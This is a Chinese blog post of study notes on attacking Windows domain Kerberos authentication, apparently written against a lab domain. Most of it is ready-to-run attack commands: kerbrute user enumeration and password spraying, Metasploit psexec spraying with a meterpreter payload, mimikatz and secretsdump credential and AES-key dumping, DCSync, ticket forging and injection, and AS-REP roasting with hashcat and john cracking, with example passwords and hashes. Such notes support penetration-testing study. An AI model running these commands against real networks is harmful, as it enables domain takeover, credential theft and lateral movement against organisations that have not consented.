标签:dn 横移 windows Kerberos 域名 3.2 txt com
-
定义: Kerberos 是一种通过传统的密码技术(如:共享密钥)执行认证服务的网络认证协议
-
认证流程
-
工具
| |
---|
工具 | 利用方式 |
Kekeo |
1. 请求 TGT 票据
命令格式 :Tgt::ask /user:域用户 /domain:域名 /password:密码
Tgt::ask /user:test /domain:dn.com /password:Zhao123456..
2. 请求 TGS 票据
命令格式 :tgs::ask /tgt:tgt票据 /service:服务名/域名地址 <cifs 文件共享>
tgs::ask /tgt:TGT_test@DN.COM_krbtgt~dn.com@DN.COM.kirbi /service:cifs/yk.dn.com
|
常见错误 |
1. 需要额外的预认证(用户存在)但是没有提供密码
KRB5DC_ERR_PREAUTH_REQUIRED
2. 客户端凭证已被吊销(禁用)
KRB5DC_ERR_CLIENT_REVOKED
3. 在Kerberos数据库中找不到客户端(不存在)
KRB5DC_ERR_C_PRINCIPAL_UNKNOWN
4. 用户存在密码错误
KRB5KDC_ERR_PREAUTH_FAILED
|
- 各阶段的主要漏洞
- 详细步骤
| |
---|
AS - REQ |
| |
---|
IPC$ + 服务 / 计划任务 | 详见:2.4_工作组的横向移动-CSDN博客 | PTH (哈希传递攻击) | 详见:2.4_工作组的横向移动-CSDN博客 | 域内用户枚举 |
# 原理:利用kerberos认证中的错误状态码判断用户是否存在
# 应用场景:工作组打域,可以ping域控,但没有加入域(nslookup不可用)
# 工具:kerbrute_windows_amd64
# 格式:kerbrute_windows_amd64 userenum --dc 域控IP -d 域名 用户字典
kerbrute_windows_amd64 userenum --dc 192.168.142.139 -d dn.com user.txt
| 密码喷洒 |
# 原理:利用kerberos认证中的错误状态码判断用户是否存在
# 应用场景:工作组打域,可以ping域控,但没有加入域(nslookup不可用)
# 单密码多用户喷洒
# 工具:kerbrute_windows_amd64
# 格式:kerbrute_windows_amd64 passwordspray --dc 域控IP -d 域名 用户字典 单密码
kerbrute_windows_amd64 passwordspray --dc 192.168.142.139 -d dn.com user.txt Zhao123456..
kerbrute_windows_amd64 passwordspray --dc 10.10.10.155 -d dn.com user.txt QWEasd123
# 多密码单用户喷洒
# 工具:kerbrute_windows_amd64
# 格式:kerbrute_windows_amd64 bruteuser --dc 域控IP -d 域名 密码字典 单用户名
kerbrute_windows_amd64 bruteuser --dc 192.168.142.139 -d dn.com passwd.txt test
| MSF喷洒 | 指定账号密码文件
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set smbuser user.txt
msf6 exploit(windows/smb/psexec) > set smbpass password.txt
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.129/24
msf6 exploit(windows/smb/psexec) > run
指定具体账号密码和IP(和上面的搭配使用)
use exploit/windows/smb/psexec
set rhosts 192.168.1.1
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4
| PTK(密钥传递攻击) pass the key —— 利用AES Key 建立认证 |
# 原理:攻击者可以使用AES密钥来通过Kerberos认证
# 具有 PTH 权限的用户 administrator,domain admins
# 查询域内用户的NTLMHash
命令格式:lsadump::dcsync /domain:域名 /all /csv
例:lsadump::dcsync /domain:dn.com /all /csv
# PTK攻击的应用场景:对方打了补丁拿不到 NTLMHash ↑,转而获取 aes256_hmac ↓
# 第一步:mimikatz 抓取 aes256_hmac
# 方式一:使用 mimikatz 2.2版本
mimikatz "privilege::debug" "sekurlsa::ekeys"
# 方式二:使用 secretsdump
命令: secretsdump.exe 目标域名/有权限的用户名:密码@域控IP
secretsdump.exe dn.com/administrator:QWEasd123@10.10.10.155
命令:secretsdump.exe -hashes :有权限用户hash值 域名/用户名@域控IP
secretsdump.exe -hashes :e45a314c664d40a227f9540121d1a29d dn.com/administrator@ 192.168.142.135
# 第二步:获取票据(aes256_hmac/NTLMHash)
明文:getTGT.exe 域名/用户名:密码@IP
密文:getTGT.exe 域名/用户名 -aesKey aes256_hmac
密文:getTGT.exe 域名/用户名@全域名 -aesKey aes256_hmac
getTGT.exe dn.com/administrator@yk.dn.com -aesKey ff7722bfd2c44797065bfdc3c3a1b354eda38faea463fb98c785019fc1ef8eff
getTGT.exe 域名/用户名@全域名 -hashes NTLMHash
getTGT.exe dn.com/administrator@yk.dn.com -hashes 5daad4fa0e6a86eb2276352872586969
# 第三步:注入内存
Kerberos::ptc 票据路径
Kerberos::ptc C:\Users\test\Desktop\administrator@yk.dn.com.ccache
# 第四步:验证:访问域控C盘
dir \\yk.dn.com\c$
# 第五步:创建服务进行攻击
# 其他命令
# mimkatz命令
列出所有票据 :kerberos::list
列出所有票据(cmd命令):klist
列出tgt票据 :kerberos::tgt
清除系统中的票据 :kerberos::purge
清除系统中的票据(cmd命令): klist purge (可能会不太好用)
# 其他
impacket生成ccache mimikatz,kekeo,Rubeus生成kirbi
getTgt生成的是Ccache, Kekeo生成Kirbi
Kerberos::ptc Kerberos::ptt
当然两种票据也可以相互转化使用ticketConverter.exe
命令: ticketConverter.exe xxx.Ccache yyy.Kirbi
|
|
AS - REP |
| |
---|
Roasting —— 破解票据 |
# 应用场景:勾选不要求Kerberos预身份验证
# 一. 查询 不要求Kerberos预身份验证 的用户
# 1. 在域控主机的 powershell 上 查询勾选了 不要求Kerberos预身份验证 的用户(鸡肋)
# 在域控 poweshell 上执行该命令
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
# 2. 在域内主机的 powershell 上 查询勾选了 不要求Kerberos预身份验证 的用户
Import-Module .\PowerView.ps1
# 若导入报错无权限写入则执行:Set-ExecutionPolicy RemoteSigned
Get-DomainUser -PreauthNotRequired –Verbose # 显示详细信息
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose # 只显示用户名
# 2.1 powershell 一句话命令
powershell -exec bypass -command "& { Import-Module .\PowerView.ps1;Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose}"
# 3.在工作组环境下 查询勾选了 不要求Kerberos预身份验证 的用户
# (4260352 在 ADSI编辑器 - 连接到 - 确认 - Users - 点击对应用户 - 属性
- useraccountcontrol - 设为4260352)
# 命令格式:adfind -h 域控IP:389 -u 域名\用户名 -up 明文密码 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4260352" -dn
adfind -h 192.168.142.139:389 -u dn.com\test -up Zhao123456.. -f "useraccountcontrol:1.2.840.113556.1.4.803:=4260352" -dn
# 二. 获取 ENC_PART中的hash
# 1. powershell 上
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
# 2. 工具:GetNPUsers
命令格式:GetNPUsers 域名/勾选不要求Kerberos预身份验证的用户名 -no-pass -dc-ip 域控ip -request
GetNPUsers dn.com/administrator -no-pass -dc-ip 192.168.142.139 -request
# 三. 破解hash(虚拟机需大内存)
# 1. hashcat工具 -m 指定破解方法(根据hash的第一个$搜索:)
# https://hashcat.net/wiki/doku.php?id=example_hashes
# PS:需要在将输出文件内的换行去掉,并且在第二个代表用户的$前,添加$23
hashcat –m 18200 hash文件 密码字典 -–force
hashcat –m 18200 hash.txt pass.txt -–force
hashcat –m 18200 1.txt pass.txt -–force
# 2. john工具
john --wordlist=密码字典 part值
john --wordlist=passwords.txt hash.txt
john --wordlist=pass.txt 1.txt
# 四. 破解密码后的选择
1. 工作组下的横移(IPC$ ,PTH)
2. 申请票据,注入内存,计划任务,服务上线
| Golden Ticket —— 伪造票据 (推荐) | 详见: |
|
TGS - REQ | 无 |
TGS - REP |
| |
---|
Silver Ticket —— 伪造票据 (推荐) | 详见: | Kerberoasting |
- Kerberoasting 攻击原理:ST票据的加密方式没有采用
AES256 而是采用 MD5 加密,且在 TGS 认证 TGT 的时候,不管用户有没有访问目标服务的权限都会返回目标服务的ST票据; - Server Hash 是 服务器上生成的hash值,分为机器hash 和 域内hash(server 也分为 机器 和 域内 );
详见: |
|
Kerberos 扩展协议 |
| |
---|
委派 | 详见: | Kerberos bronze bit | |
|
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!
标签:dn,
横移,
windows,
Kerberos,
域名,
3.2,
txt,
com
From: https://blog.csdn.net/m0_73983897/article/details/143982185